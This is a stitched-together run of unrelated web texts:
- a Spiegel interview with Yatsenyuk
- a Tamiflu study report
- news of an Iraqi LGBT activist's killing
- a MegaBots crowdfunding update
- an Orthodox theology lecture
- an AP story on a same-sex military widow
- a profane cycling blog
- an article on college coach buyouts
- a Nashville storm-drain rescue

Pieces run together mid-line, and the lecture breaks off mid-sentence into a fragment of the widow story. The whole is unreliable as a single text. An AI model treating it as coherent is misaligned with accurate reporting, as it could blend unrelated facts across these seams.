Yatsenyuk: Free elections in order to create legal regional authorities as foreseen in the Minsk deal. Then we need international donors who reconstruct our infrastructure. This strategy can only succeed if Russia withdraws entirely from Ukraine. Do I believe that Russia will do this? No, because Putin wants to retain these territories; he wants to keep his hand in our belly fat.
SPIEGEL: What are you planning to do in order to bring Putin to a compromise?
Yatsenyuk: Behind closed doors we have long thought about an exit strategy for Russia. It's clear that Putin has to find a way to save face. On the other hand, it's clear that his policies turn Putin into a drug-addicted person. His survival depends on land grabs of foreign territories. He needs new annexations. The annexation of Crimea has gained him much applause at home. But that will not last forever. The Western sanctions are beginning to take hold and the people are suffering. In order to maintain his popularity, Putin has to commit further international crimes. Otherwise he will be dead politically.
SPIEGEL: But the problem isn't just Putin -- many Russians seem to think like him.
Yatsenyuk: That worries me, yes. If 85 percent of Russians support the annexation of Crimea and the aggression against Ukraine, that is a very bad sign. The post-Soviet legacy is a heavy burden: Most Russians want to have the empire back. The only way it is possible to make that happen is to seize foreign territories.
SPIEGEL: Putin has always made clear that he objects having NATO troops located at the Russian border. Would Ukraine be ready to give up accession to NATO in order to placate Russian security needs?
Yatsenyuk: We stand firmly behind the decision made at the summit in Bucharest where it was decided that Ukraine could one day become a member of NATO. That is not only in the interest of Ukraine, but also in the interest of Europe and peace on our continent. But we also know it will take a long time until Ukraine fulfills the standards for NATO membership.
SPIEGEL: Are you not escalating the situation yourself by constantly meeting with NATO leaders, like Secretary General Jens Stoltenberg, last Monday in Brussels?
Yatsenyuk: The Russians will always find a pretext for their aggression. It was Putin who said in 2005 that the biggest geopolitical disaster of the last century was the collapse of the Soviet Union. Putin wants to bring Ukraine back into the Russian sphere of influence. That is why he tried everything in order to stop the EU-Ukraine Association Agreement.
SPIEGEL: Will Ukraine ever join the EU given the fact that the free trade agreement was put on hold?
Yatsenyuk: The EU remains our dream. We must not give it up. Otherwise Putin would win. His goal is to undermine the EU. This is not only about a conflict between Russia and Ukraine. Russia is fighting against the West and its values. Therefore, the European project of Ukraine must not fail. We know that this aim requires successful reforms in Ukraine, even if they hurt now.
SPIEGEL: You have cut social security benefits, you have fired one in 10 government officials and you have raised taxes. Don't efforts like that increase the risk people will want an authoritarian leader in your country?
Yatsenyuk: I was elected despite all these measures and I am doing everything possible in order to cushion the effects of the reforms. But serious reforms are our last chance -- we have no other option. Our strongest card in that game is a Ukrainian youth that wants to belong to Europe.
SPIEGEL: How much money does Ukraine need in order to prevent bankruptcy?
Yatsenyuk: This year we received $9 billion from the IMF and individual donor states, but we paid back $14 billion in old debts. The Ukrainian economy is shrinking this year by 7 percent and our industrial production by 10 percent. But you also have to take into account that 20 percent of our industrial production was lost due to the annexation of Crimea and that we do not yet control parts of eastern Ukraine.
SPIEGEL: Let's come back to Chancellor Merkel. Are you happy that she is leading Germany and not one of her three predecessors -- Helmut Schmidt, Helmut Kohl or Gerhard Schröder? They have all demanded publicly that Germany and the West should be more respectful of Russian interests.
Yatsenyuk: Merkel is a flagship of the EU. Not everything depends on her, but much does. I have been shocked in a positive way by how Merkel is defending international law so openly and strongly. She wants to have peace and stability in the EU, and she knows that Russia is a problem in terms of security. It seems to me that many Germans are led by a certain fear of Russia. So you hear things like, "Let's avoid conflicts with Moscow, let's appease the Kremlin."
SPIEGEL: So Schmidt, Kohl and Schröder are wrong?
Yatsenyuk: Let's put it this way: Merkel is right. The chancellor cares about the whole European project and not a special relationship with Moscow.Tamiflu may cut flu death risk by 25 percent Tamiflu is the most widely used of two frontline drugs used to fight flu. It considerably reduced the risk of death from flu during the 2009-2010 H1N1 influenza pandemic.
iStock
The anti-virus drug Tamiflu reduced the risk of death from flu by a quarter among adults who took it during the 2009-2010 H1N1 influenza pandemic, a study said.
Read: Resistance develops fast with H1N1
The findings, published in The Lancet, should be a useful guide to doctors weighing options for treating flu, the authors said.
The research collated data from 78 studies, covering more than 29 000 patients in 38 different countries, admitted to hospital during the H1N1 flu scare.
A novel flu strain, H1N1 initially stoked fears of a massive death toll in line with flu pandemics of the previous century.
But the strain turned out to be far less lethal, with a mortality rate similar to that of annual, or "seasonal", strains of flu.
Inhibiting viral replication
Tamiflu – lab name oseltamivir – is the most widely used of two frontline drugs used to fight flu by inhibiting viral replication.
Read: Swine flu is coming – time to get your shot!
The study found that people older than 16 who were given Tamiflu in hospital had a 25% lower risk of death than those who did not get the drug.
Among a sub-group of those who received Tamiflu swiftly, within the first two days of admission, the mortality risk was halved, and among pregnant women it was reduced by 54%.
There was no significant impact on risk among children given the drug.
The study, carried out by independent epidemiologists, was financed by Tamiflu's makers, Hoffmann-La Roche.
The Lancet is a peer-reviewed journal, meaning that papers are vetted by external experts before publication.
Read more:
Review questions Tamiflu's effectiveness
Drug-resistant flu in 2 US teens
Tamiflu resistance warningSignup to receive a daily roundup of the top LGBT+ news stories from around the world
A leading gay activist in Iraq has been assassinated. 27 year old Bashar was targeted by gunmen yesterday.
He was one of the organisers of safe houses for gay men in Baghdad and was co-ordinator of Iraqi LGBT in the city.
Peter Tatchell of LGBT human rights group OutRage! said:
“On 25th September, I received the sad news from Iraq that the coordinator of Iraqi LGBT in Baghdad, Bashar, aged 27, a university student, was assassinated in a barber shop.
“Militias burst in and sprayed his body with bullets at point blank range.
“He was the organiser of the safe houses for gays and lesbians in Baghdad. His efforts saved the lives of dozens of people.
“Bashar was a kind, generous and extremely brave young man – a true hero who put his life on the line to save the lives of others.
“My thoughts go out to his loved ones and to the other members of Iraqi LGBT.
“Their courage is an inspiration to all people everywhere fighting against tyranny and injustice,” said Mr Tatchell.
A UN report in 2007 highlighted attacks on gays by militants and religious courts, supervised by clerics, where homosexuals allegedly would be ‘tried,’ ‘sentenced’ to death and then executed.
“Violence against gays has intensified sharply since late 2005, when Iraq’s leading Shiite Muslim cleric, Grand Ayatollah Ali al-Sistani, issued a fatwa, or religious decree, which declared that gays and lesbians should be ‘killed in the worst, most severe way possible,” said Alli HIli of Iraqi LGBT.
“Since then, LGBT people have been specifically targeted by the Madhi Army, the militia of fundamentalist Shia cleric, Muqtada al-Sadr, as well as by the Badr organisation and other Shia death squads.
“Badr is the military arm of the Supreme Council for Islamic Revolution in Iraq, which is one of the leading political forces in Baghdad’s western-backed ruling coalition,” said Mr Hili.ROBOT FANS!
You are, without a doubt, the best fans a campaign could ask for!!! Together, WE'VE DONE IT! Thank you so much, we're past our goal! USA! USA! USA!
(And major shout-outs to all our international backers, who are in it for the love of glorious giant robot combat!)
Let's keep going! Any extra funding we get now translates directly into a better robot (and a better fight!), and protects us from any backers dropping out in the last few days of the campaign. Keep pushing! Keep the momentum going!
We have a few 'thank you' gifts in mind. First of all, we're happy to announce that any backer over $150 will now also receive an.STL file of the robot figurine, so that you can 3D print your own Mk.II robots from home! And secondly, we've decided to modify our $5,000 level to include the gun range experience (so that you both Punch a Prius AND blow stuff up, at the end of the day), and to video record all experiences $1,000 and above so that you can cherish your experience in the cockpit of the robot for years to come!
Last but not least, don't forget to enter to win our last pit crew spot before the Kickstarter campaign ends! Join us for the ultimate back-stage experience as we duke it out with Suidobashi Heavy Industry!
Thanks all - you're all awesome!
-MegaBotsJuly 2016 First Paper Orthodox and Western Theology His Eminence Metropolitan Hierotheos of Nafpaktos and St Vlassios (Lectures given by Metropolitan of Nafpaktos, Hierotheos (Vlachos) at the July 18–22 Archdiocesan Clergy Symposium, convened by Metropolitan Joseph and hosted at Antiochian Village by the Antiochian House of Studies.) When I am invited to speak to members of the Clergy who exercise the pastoral ministry I usually stress that theology is pastoral and the pastoral ministry is theology. When someone wants to shepherd a particular flock, and when he is shepherding human beings, he must necessarily speak theologically. Theology, according to Fr. John Romanides, is distinguishing what is created from what is uncreated. Experienced theologians, those who behold God, have received God’s revelation, so they can make the distinction between created and uncreated. They know very well that God’s Light is uncreated, and that all the other things He has made, including, of course, the light of the sun, are created. When the Apostle Paul was on his way to Damascus, he declares that a light shone around him that was “brighter than the sun” (Acts 26:13). It was midday and he saw two lights: the created light with his physical eyes, and the uncreated light with the eyes of his soul, with his nous. Because the saints realise from their experience that there is no similarity at all between what is uncreated and what is created, they also know from their experience that there is a difference between uncreated and created energy. As a consequence, they know for certain when energy comes from God, when it comes from created things, and when it comes from the devil. This is how they guide their spiritual children, and this is actually what pastoral ministry is. We therefore assert that true theology is discerning between uncreated and created energies, and a theologian is someone who discerns “the spirits, whether they are of God” (1 John 4:1). There is usually confusion nowadays between true theology and the ‘pseudomorphosis’ of theology, between the theology of the Fathers and secularised theology as it was, and still is, expressed by Western theology, which you know so well here in America. I shall divide my first paper into two parts: the first will look at what patristic theology is, and the second at what Western theology is.
1. Patristic Theology
The holy Fathers are the genuine teachers of the Church, as they are the spiritual successors of the Prophets and the Apostles. The well-known apolytikion (dismissal hymn) that is chanted on the feasts of many Fathers of the Church, including the Hieromartyr St Ignatios the God-bearer, says: “You shared the Apostles’ way of life and succeeded to their thrones; you found praxis a way up to theoria, O divinely-inspired Father; rightly proclaiming the word of truth, you struggled bravely in faith to the point of shedding your blood, Bishop and Martyr Ignatios, intercede with Christ our God that our souls may be saved.” There is a connection between the way of life of the Apostles and their thrones, between praxis (practical virtue) and theoria (divine vision), and between right faith and martyrdom. When we mention Prophets and Apostles, we ought to emphasise that the Prophets saw the unincarnate Word, the Angel of Great Counsel, the Second Person of the Holy Trinity without flesh, whereas the Apostles saw the incarnate Word, the Son and Word of God in the flesh. This is an important point when considering the relationship between the Prophets and the Apostles. The Fathers were genuine successors of these great God-seeing theologians and inherited their spirit. There is amazing unity between the Prophets, the Apostles and the Fathers. In the whole ecclesiastical tradition it is taken for granted that the Church’s theology is not speculation but the revelation of God to the deified, to the Prophets, Apostles and Fathers down through the ages. The Synodikon of Orthodoxy often repeats the statement that we proceed “in accordance with the divinely-inspired theologies of the saints and the devout mind of the Church.” This phrase is alleged to have been formulated by Philotheos Kokkinos, a fellow-monk of St Gregory Palamas and Patriarch of Constantinople. It refers, of course, to the theology of the hesychast Fathers, particularly St Gregory Palamas. No other theology – whether post-apostolic, pre-patristic, or post-patristic – exists in the Church. St Gregory Palamas proclaimed that the teaching of the Prophets, Apostles, and Fathers is one: “What else but that saving perfection in knowledge and dogmas consists in thinking in the same way as the Prophets, Apostles and Fathers, with all those, basically, through whom the Holy Spirit bears witness concerning God and His creatures.” The Prophets of the Old Testament beheld the unincarnate Word and the Apostles and Fathers of the New Testament are in communion with the incarnate Word. There is unity in faith, as they share a common experience and the common precondition for this experience, which is Orthodox hesychasm combined with the Mysteries of the Church. This experience is participation in the mystery of Christ’s Cross and Resurrection, but also experience of the mystery of Pentecost. In the Church we do not accept in isolation the Christ of history or the Christ of faith, that is to say, the faith that the first Christians held concerning Him. We also accept the Christ of revelation, the Christ of glory, Who is manifested to those who are worthy of the revelation. The Christ of revelation cannot be linked with philosophical speculation. It is clear from the whole tradition of the Church that to be a theologian someone must meet the necessary preconditions. Otherwise, instead of being an exponent of the empirical life of the Church, he expresses himself alone. We shall look at the teaching of St Gregory the Theologian on this point. Through his ‘Theological Orations’ St Gregory the Theologian opposed the heresy of the Arians, and particularly of the Eunomians of his time, who were the predominant heretical group among the Arians. The Arians used philosophical arguments, and St Gregory the Theologian needed to set out at the beginning of his ‘Theological Orations’ the preconditions for speaking about God. He pointed out who could and should speak about theology. St Gregory the Theologian refers there to “those who pride themselves on their eloquence”, who rejoice in “profane and vain babblings” and the contradictions “of what is falsely called knowledge”. They are also “sophists, and absurd and strange jugglers of words.” On account of the philosophical reasoning of the Eunomians, “our great mystery is in danger of becoming a triviality.” He calls the Eunomian, who talks philosophically about God and lives outside the tradition of the Church, “a dialectician fond of words.” This is why he clarifies what the basic preconditions for Orthodox theology are. He says that theology is not just any occupation, and certainly not one of lowly origin. To speak theologically is not for everyone, but for “those who have been tested and made progress in theoria, and have been previously purified in soul and body, or at very least are being purified.” This is essential, because it is dangerous for “the impure to touch what is pure,” just as the sun’s rays are dangerous for ailing eyes. Someone who speaks about God, therefore, ought first to be purified, otherwise he will end up a heretic. And in order to meet these preconditions for theology, one must pass through hesychia. In other words, we can speak theologically “when we are free from all external defilement or disturbance, and our commanding faculty is not confused by illusory or erring images,” which is like mixing fine handwriting with ugly scrawl, or the fragrance of myrrh with filth. One must first be quiet in order to know God. “For it is necessary actually to be still to know God.” This teaching of St Gregory the Theologian, which comes at the beginning of his ‘Theological Orations’, clearly shows that the preconditions of Orthodox theology are regarded as very important. If these preconditions are altered, people are inevitably led to deviate from the truth, and they fall into false beliefs and heresy as a consequence. The essential preconditions for Orthodox theology are sacred hesychia, godly stillness, purification of the heart from passions, and illumination of the nous. What St Gregory the Theologian talks about is not a different, more recent ecclesiology, but correct ecclesiology as we encounter it in the Apostles and the Prophets of the Old Testament. When this is abolished, it is not at all certain that Orthodox teaching and ecclesiology are being expressed. In his oration on Theophany, St Gregory the Theologian speaks about purification, illumination and deification as the essential preconditions for Orthodox theology, in order to attain the spiritual gift of truth and serve “the living and true God”. It is only then that someone can “philosophise” or speak theologically about God. He goes on to define the method of Orthodox theology: “Where fear is, there is keeping of the commandments; and where there is keeping of the commandments, there is purification of the flesh, that cloud which covers the soul and does not allow it to see the divine rays clearly. Where there is purification there is illumination; and illumination is the satisfying of the desire of those who long for the greatest things, or the greatest thing, or that which is beyond the great.” This is indispensable, “so we must purify ourselves first, and then converse with Him Who is Pure.” This is obviously a reference to purification, enlightenment and illumination, and to progress towards “the great”: the vision of the uncreated Light, beholding God, when true knowledge of God is acquired. Sacred hesychia is the Orthodox way of life as we encounter it in Holy Scripture and the Church’s tradition, and as it was lived by the Prophets, the Apostles and the saints throughout the centuries. This is not a later form of ecclesiology that undermined and did away with ‘primitive ecclesiology’, as some theologians claim. When we speak about the hesychastic way of life we mean the whole life of the Gospel, which refers to the struggle against the devil, death and sin; the healing of thoughts; purification of the heart; activation of the noetic faculty so that the nous pray purely to God; the acquisition of unselfish love; the therapy of the three parts of soul, and so on. This ascetic lifestyle is very closely linked with the sacramental life and is the very essence of the evangelical and ecclesiastical way of living. All this experience of the Church found concrete expression in the three degrees of spiritual perfection that we encounter in Holy Scripture and the Fathers of the Church of the early centuries, in St Gregory the Theologian, St Dionysius the Areopagite, St Maximus the Confessor, St Symeon the New Theologian, St Gregory Palamas, and all the later ‘neptic’ Fathers. These three stages are purification of the heart, illumination of the nous and deification. This is also the subject-matter of the Philokalia of the Neptic Saints, which is subtitled: Collected from our holy and God-bearing Fathers, through which, by moral philosophy in praxis and theoria, the nous is purified, illumined and perfected. Within the tradition of the Church there are, of course, three different stages of the spiritual life, as we see in St Macarius of Egypt, St Symeon the New Theologian, but especially in our own time in St Silouan the Athonite and the teaching of Elder Sophrony. These are: God’s appearance to man in the Light, the withdrawal of divine grace, and its coming anew. No essential difference exists, however, between these two traditions, as they are mutually complementary. Someone is able to realise how unclean his heart is when he receives a ray of Light, and the desire for repentance kindles. Later on, divine grace |
-in-law. Although Sgt. Donna Johnson had listed Dice as her next-of-kin, Army casualty officers informed Johnson’s mother of her death first because of a federal law that prohibits the U.S. government from recognizing same-sex unions. (AP Photo/Gerry Broome)
The death certificate read "single," even though the fallen soldier was married.
When it came time to inform the next of kin, casualty officers did not go to the widow's door in North Carolina, nor did she receive the flag that draped the casket of her beloved, a 29-year-old National Guard member killed by a suicide bomber in Afghanistan.
Because federal law defines marriage as the union of a man and a woman, the military did not recognize the relationship of Army Sgt. Donna R. Johnson and Tracy Dice Johnson at all, rendering Johnson ineligible for the most basic survivor benefits, from return of the wedding ring recovered from the body to a monthly indemnity payment of $1,215.
"You cannot imagine the pain, to actually be shut out," said Dice Johnson, an Army staff sergeant who survived five bomb explosions during a 15-month tour in Iraq. "Not only is one of their soldiers being disrespected. Two of them are being disrespected."
As the Supreme Court prepares to consider the constitutionality of the Defense of Marriage Act, gay marriage advocates are focusing attention on the way they say the law dishonors gay service members and their spouses, who are denied survivor payments, plots in veterans' cemeteries, base housing and a host of other benefits that have been available to opposite-sex military couples for generations.
If the high court strikes down the DOMA, the ruling could bring sweeping changes to the way the military treats widows and widowers such as Dice Johnson, the first person to lose a same-sex spouse to war since "don't ask, don't tell" was lifted in 2011.
Although they can now serve openly, gay and lesbian service members "are anything but equal, and it's the DOMA that is really what's standing in the way," said Allyson Robinson, a West Point graduate who serves as executive director of OutServe-SLDN, an advocacy group for gay, lesbian, bisexual and transgender service members and veterans that filed a brief urging the court to strike down the law.
On the other side stands the Chaplain Alliance for Religious Liberty, an association of faith groups that screen chaplains for military service. It has asked justices to uphold the DOMA on the grounds that pastors and service members from religions that oppose homosexuality would find their voices silenced and their opportunities for advancement limited.
"The military has no tolerance for racists, so service members who are openly racist are not service members for long," the alliance's brief states. "And if the traditional religious views on marriage and family become the constitutional equivalent of racism, the many service members whose traditional religious beliefs shape their lives will be forced out of the military."
Retired Col. Ron Crews, the group's executive director, said Congress could find ways to honor war widows such as Dice Johnson without striking down the DOMA, which he said had served as "a wall" protecting military personnel with strong religious beliefs since the ban on openly gay service members was eliminated.
Before he left office in February, Defense Secretary Leon Panetta ordered the Army, Navy, Air Force and Marines to extend to same-sex partners of military personnel certain benefits not precluded by the DOMA, including ID cards giving them access to on-base services and visitation rights at military hospitals. Some of those measures would have eased Dice Johnson's grief, if they had been in place earlier.
In the future, for example, same-sex survivors of service members will be eligible to receive a deceased partner's personal effects and to be presented with the folded flag at the funeral. But many of the acknowledgements available to military spouses in opposite-sex marriages remain out of reach.
The widows of the two men who lost their lives alongside Johnson on Oct. 1 heard the news from an Army casualty officer. But Dice Johnson, 43, found out from her sister-in-law. Johnson could not list her as primary next-of-kin since the government did not recognize their marriage.
Former Rep. Joe Sestak, a retired Navy admiral who was the highest-ranking officer ever elected to Congress, said such inequities have implications for national security. Many financial protections and support services are offered to military families not just out of gratitude, but so service members can focus on their jobs during dangerous deployments, Sestak said.That was the best day of racing I saw in person this year, a basketfull of greasy fries in my hands, a hillside full of Dutch-speaking fans in brown coats all squirrelling away biertjes in between their ungloved fingers. Evie Stevens beat Marianne Vos on the final climb at Fleche-Wallonne.
You didn’t see that race? A women’s world cup event? You didn’t, why not?
It was on TV, the broadcasters had the finish on live during the first hour of the men’s race from when they went to the satellite feed. Who cares that blahbedyblahbedyblahbedy Belgian road team has a 4-minute break with 100km to go in a hilly mid-week classic? You didn’t get up early in the USA and stream a JustinTV feed to see girls race. You used that time to brush your teeth and shave.
Too bad. You missed a doozy.
Stevens in the finale had a teammate in big bruiser sprinter Canadian Clara Hughes, all the way up to the base of the final hill.
Then the red-haired Canuck did something she wasn’t born to do, leading out on a climb that turns across the face of a steep wall and peaks at 23%. She did so because her teammate’s biggest threat for the finale, Dutch all-rounder and multiple world title holder in cyclocross, MTB, track and now, this year, olympic road, Marianne Vos, was the last serious obstacle to a win for Specialized-Lulu Lemon.
And there you were, crapping in your bright linoleum-tiled bathroom you overpay for in urban midtown America, still shackled to a car lease, still working at a college job you thought would be good because it lets you ride on the weekends. None of your dress socks were bought by you.
And when Hughes is done, Vos takes over and sheds the other one, the nameless hanger-on from Team O'Drinka Something-Sweeter. Vos is in her element, the reigning champion here, she has won this race before.
Five times in fact. Usually without even a group at the base of this hill, the Muur de Huy.
It’s all painted in flowing, easy script - Huy, Huy, Huy, Huy, all up the two or three sinews of the crowded ascent.
Russians find this part of the race especially hilarious because of a dirty false cognate.
Vos lets loose and the crowd erupts, this Flem-o-phile gang of maybe 13,000 people, all kinda mostly getting drunk in the sun in April on a hillside in Wallonia. They cheer the Dutch woman around the bends as the motocam stalls and can’t follow her pace up the hill.
The fixed cams come on. One picks up an empty left hand swoop just at the 23% mark. Nothing is visible but fans in the background, cheering something in front of them, blocked from our vision by the bulge of an advertising fence at the roadside.
In the foreshortened foreground, Stevens comes into the picture first, and looks like she is winning, if only for the briefest of seconds. Just enough for an inhale and an exhale of disappointment. An audible schlumpphhh as it ripples across the fans.
Then Vos appears in our field of view, on fire. She’s ahead after all, she’s going to win!
The crowd goes wild. Cinderella Story. It’s in the hole.
It’s Marianne Vos in full Voeckler-face, a grimace too full of beautiful agony to ignore. She is on her way to six.
And then she isn’t. The steepest part. The Contador-killing part. The ‘Oh My God Here Comes Gilbert, Rodriguez, Evans’ meatcleaver part. That part.
Vos tries to win it there and it’s too long to the finish, and Stevens just holds on for dear life until 50 meters to go.
Stevens. She had a job on Wall Street. She wore sneakers on a borrowed mountain bike in Central Park during her first roadrace. She was rookie of the year at the Century Road Club Association of New York. She quit Wall Street.
She’s going to win Fleche-Wallonne, I start thinking. She’s going to fucking win this fucking mother fucker! I let out a war whoop and a pig squeal and a belch, a combo effect of excited blood returning to my veins and a very real need to be proud to be an American on this Muur de Huy hillside today.
The Belgians go kind of damply silent, and turn back towards the mayo on their french fries (I seen 'em do it, they drown 'em in that shit!) and ignore the now loser Marianne Vos. The race is over and some American won. The crowd grows weary of the toll.
This American ex-Death Industry Cogworker wins a Women’s World Cup Classic and I am doing helicopter spins in ecstatic revelry on an inclined church lawn, the congealed grease of a plastic cocktail trident in one hand and my Sony Nex-3 camera in the other. A battery door pops open and I lose a 53 euro 6-hour power source.Butch Jones, Jim McElwain and Jeff Long have all had the misfortune of being fired in the last month.
The positive of losing your job? All three will likely get millions in liquidated damages, more commonly known as a buyout. Butch Jones, who received a pink slip from Tennessee on Sunday, will receive $200,000 a month for the next 40 months -- $8.25 million in total -- only mitigated if he gets another job. Former Arkansas athletic director Jeff Long, forced out on Wednesday, will make $1 million a year through the remainder of his contract set to expire in June 2022.
It's the standard of doing business in college athletics though the buyout figures have climbed to astronomical heights. Twenty-six college football coaches, including five in the Southeastern Conference, have buyout figures of $10 million or more, according to USA Today Sports' salary database. Florida State would have to pay Jimbo Fisher, currently in the midst of a 3-6 season, nearly $40 million to leave.
Those large sums should only grow as rising salaries show no signs of a downturn.
"The Achilles heel of the entire operation is the buyout piece," said one industry source who has been involved in the hiring process for years. "It's the most vulnerable piece of the armor."
How did we get to this point? It boils down to some combination of revenue going through the roof especially from television rights, powerful agents wielding tremendous leverage and university leaders giving in to increasingly one-sided contracts amid growing desperation to find a winner.
**
After winning back-to-back SEC East titles, Jim McElwain appeared to be one of the more secure SEC coaches at the start of the 2017 season. Not only did he have on-field success, but his huge buyout ($12.9 million) made it near impossible to dismiss him after only three seasons.
McElwain publicly discussing death threats, that may or may not have existed, eliminated that security and played a role in his dismissal midway through his third season. Florida officials were strongly considering firing him for cause, according to reports -- it was announced as a "mutual parting" -- and will likely pay far less than his total buyout though McElwain is still expected to receive millions. It could prove to be a fortuitous break for Florida given the school would have likely been on the hook for his full buyout if it didn't fire him with cause; the only mitigating language in his contract was if he took another SEC job within 90 days.
Florida has been the SEC's trendsetter when it comes to buyouts and not in a positive way. There was no mitigating language in Will Muschamp's contract so when former AD Jeremy Foley fired him in 2014, Muschamp was owed the full $6.3 million. Florida still hasn't paid all of that sum -- the now-South Carolina head coach is still due $1.575 million. The school then spent $5 million -- $2 million of which was for a home game against Colorado State -- to get McElwain out of his CSU contract. Now, Florida will have to pay McElwain an undisclosed buyout, might have to pay another sum to buy out a coach's contract and still have to pay the actual salary for the new coach and his staff. Two unsuccessful hires with unfavorable contracts have cost Florida millions.
"Universities are getting in the business of not only paying coaches that they fire but paying the buyouts of coaches that they hire," said Martin Greenberg, a sports attorney who has represented coaches in negotiations. "This is a double whammy for education. You think about how much money we are wasting -- these schools are getting caught both ways."
UAB athletic director Mark Ingram, who recently went through the negotiating process with head coach Bill Clark, says it's standard for the school to want mitigation and the coach to not. He senses a lot of the outside criticism on buyouts centers on situations like the one at Florida.
"I'm paying the old guy, I'm paying the school that's not my school, and I'm paying the new coach," Ingram said. "Wow, that's an expensive change."
Florida AD Scott Stricklin seems to realize the danger that comes with an expensive buyout as he looks for the Gators' next football coach. During a press conference announcing McElwain's dismissal, Stricklin said he'd "love to see" a market correction on massive buyouts for coaches.
"I had an agent tell me recently I was 'Captain No Guaranteed Money,'" Stricklin said. "I think he meant it as a disparaging comment, but I took it as a compliment....There's a lot of leverage that successful coaches have, and that ends up setting the market, and then others who may not be quite as successful use where the market is to their benefit."
Stricklin's point perfectly encapsulates the biggest issue of the current buyout trend. There's little outrage over Nick Saban's $26.9 million buyout given all of his success in Tuscaloosa. It's hard to even come up with a scenario in which Alabama would ever have to pay that amount. Kentucky coach Mark Stoops' $14.765 million buyout, however, raises some eyebrows given his 26-33 record in Lexington though the Wildcats are on an upswing. LSU's contract with Ed Orgeron, which includes an $8.79 million buyout if fired this year, could be the SEC's most egregious given there was zero competition for his services.
And even that pales in comparison to the most famous example in Charlie Weis who one source described as "Exhibit A of the lunacy of intercollegiate athletics" after he made more than $24 million in buyouts from Notre Dame and Kansas. When you add that number to his salary at both schools, he earned $64.5 million for a career college record of 41-49. The Jayhawks have won a total of four games in the three-and-a-half seasons since Weis left a smoldering heap of a football program behind in Lawrence.
Contracts like the one Kansas gave Weis, and other more recent ones can have far-reaching implications. With some Power 5 schools giving out bad contracts like candy, both for head coaches and in increasing occurrence for assistants, it sets an unrealistic market and puts undue pressure on schools of all sizes including those at lower levels. Nine Group of Five coaches have buyouts of at least $4 million with Wyoming's Craig Bohl (21-27 record at school) leading the way at $9.4 million, equivalent to 25 percent of the athletic department's total revenue in 2015-16.
"The biggest effect of the trickle-down effect is the impact it's hard on smaller universities, smaller conferences where the revenues aren't where they can afford this as a business expense," said Greenberg who also serves as an adjunct professor at Marquette Law School.
**
There are plenty of agents who represent college coaches, but no one is as revered and powerful as Jimmy Sexton.
Before the 2017 season, Sexton represented an astonishing nine SEC head coaches though three (McElwain, Jones and Hugh Freeze) have already been fired. Sexton has landed massive deals for his clients including Alabama's Saban, but the college athletics world still views him as a fair negotiator. Sexton's affable personality and style make everyone feel good when they leave the negotiating table even if his client gets the upper-hand most of the time. He personally represents two of the top five coaches with biggest buyouts in college football.
Sexton's expansive client list at Creative Artists Agency ensures big-time schools are going to have to deal with him when looking for a new head coach. At Florida, he was involved in both the firing (Muschamp) and hiring (McElwain) in 2014 which included the multiple buyouts. He's represented the last four Tennessee head coaches (Jones, Lane Kiffin, Derek Dooley and Phillip Fulmer) at his alma mater which has generated criticism.
"I don't hire the coach. I've never hired a coach," Sexton told ESPN in a 2015 profile. "Contrary to what people might believe, I never hired a coach at Tennessee."
The most significant advantage Sexton has, according to industry sources, is knowledge. He represents so many different coaches that he's the most plugged-in man in America when it comes to hirings, firings and negotiations. He uses that knowledge to power his negotiating strategy which gives him an advantage more often than not over athletic directors without his Rolodex or negotiating experience.
"The agents are just trying to make it better for their clients," one industry source said. "Do they hype the system and maximize it? Yes, they do. If an agent is sitting there and a coach is being fired, he knows everything that is going on. He knows how to negotiate and understands where the leverage points are. That's a salute to his opportunism."
Sexton and other agents benefit from schools desperate to find a winning coach. In the SEC, 25 coaches have been fired since Alabama hired Saban in 2007. The 13 schools not named Alabama are all looking to replicate the success the Crimson Tide has had over the last decade, willing and eager to pay top dollar to try to knock Saban off his pedestal. That desire has given agents tremendous leverage in negotiations, knowing the school is under significant pressure to succeed and usually willing to make significant concessions to get a top candidate signed up including no mitigation clauses in case of a firing without cause. They know that skyrocketing television revenue -- SEC schools made approximately $40 million each in 2016 off TV and radio rights -- has given schools the confidence to commit major money on coaching salaries.
Skilled agents will play up the competition for a coach's services, real or imagined, to drive up the price. The person making the hire -- oftentimes the athletic director -- too frequently doesn't have the contacts and skills to see through the smokescreens.
Once the school is on the hook, agents can push for the buyout to be salary times years of contract, putting schools in a dangerous financial position given the average salary in the SEC this year, not including Ole Miss' interim coach, was $4.2 million. In increasing fashion, schools have acquiesced to the substantial demand.
"On one hand you are negotiating with the devil," Greenberg said, "because he's going to come back and get you some other way because he has the coaches that you want."
Three SEC jobs are already open, and two more could soon join the mix if university leaders are willing to stomach large buyouts. Arkansas, likely to move on from Bret Bielema now that Long is out, will have to plunk down a $5.87 million buyout. Texas A&M faces an even worse financial hit if it moves on from Kevin Sumlin: $10.4 million and it's unclear if any of that can be mitigated.
With potentially five or more SEC jobs open, there will be stiff competition for a pool of candidates that could struggle meeting the lofty expectations attached to many of those jobs. Schools like Florida and Tennessee expect to be annual national championship contenders and have traditionally paid coaches accordingly, whether warranted or not.
However, the demand is higher than the supply of transcedent coaches, meaning huge paydays for all the coaches hired -- and inevitably fired -- this offseason. Better start saving for those buyout payments now.
John Talty is the college sports editor for Alabama Media Group. Follow him on Twitter @JTalty.Copyright by WKRN - All rights reserved
WKRN web staff - NASHVILLE, Tenn. (WKRN) - A 53-year old Nashville man was rescued Sunday after he got stuck in a storm drain four days ago near Centennial Park.
Brian Williams, who was attending a swim meet at the Centennial Sportsplex off 25th Avenue North, heard the man calling for help around 12:30 p.m.
"He was yelling, 'Help! Help!' sort of repeatedly," Williams told News 2.
Copyright by WKRN - All rights reserved Brian Williams
Copyright by WKRN - All rights reserved Brian Williams
It didn't take long for him and his family to find the man stuck in the drain. Click here to view photos of the rescue.
"We used our flashlights from our cellphones and we could see him, but he was back in the pipeline a good ways, probably about 10 feet," Williams explained.
The man was elated when he heard Williams and his family come to his aid.
"He said, 'Praise God. Thank you. I have been down here forever.' And he was just very happy at that point," Williams added.
Firefighters had to dig into the ground and break into the cement pipe to free the man. Officials told News 2 the man was about 6 or 7 feet from the pipe's opening.
The ordeal, which included using a 4-foot pry bar to get oxygen tot he man as they worked to free him, to over two hours.
Copyright by WKRN - All rights reserved The unidentified man could have the storm drain in this above-ground concrete entrance with a ladder down to the pipe near the Lentz Public Health Center.
Copyright by WKRN - All rights reserved The unidentified man could have the storm drain in this above-ground concrete entrance with a ladder down to the pipe near the Lentz Public Health Center.
A firefighter also sat at the opening of the pipe and spoke to the man through the ordeal, explaining what was happening to keep him from panicking.
An employee with Metro Parks told News 2 said the man had entered the pipe somewhere along Charlotte Avenue last Thursday.
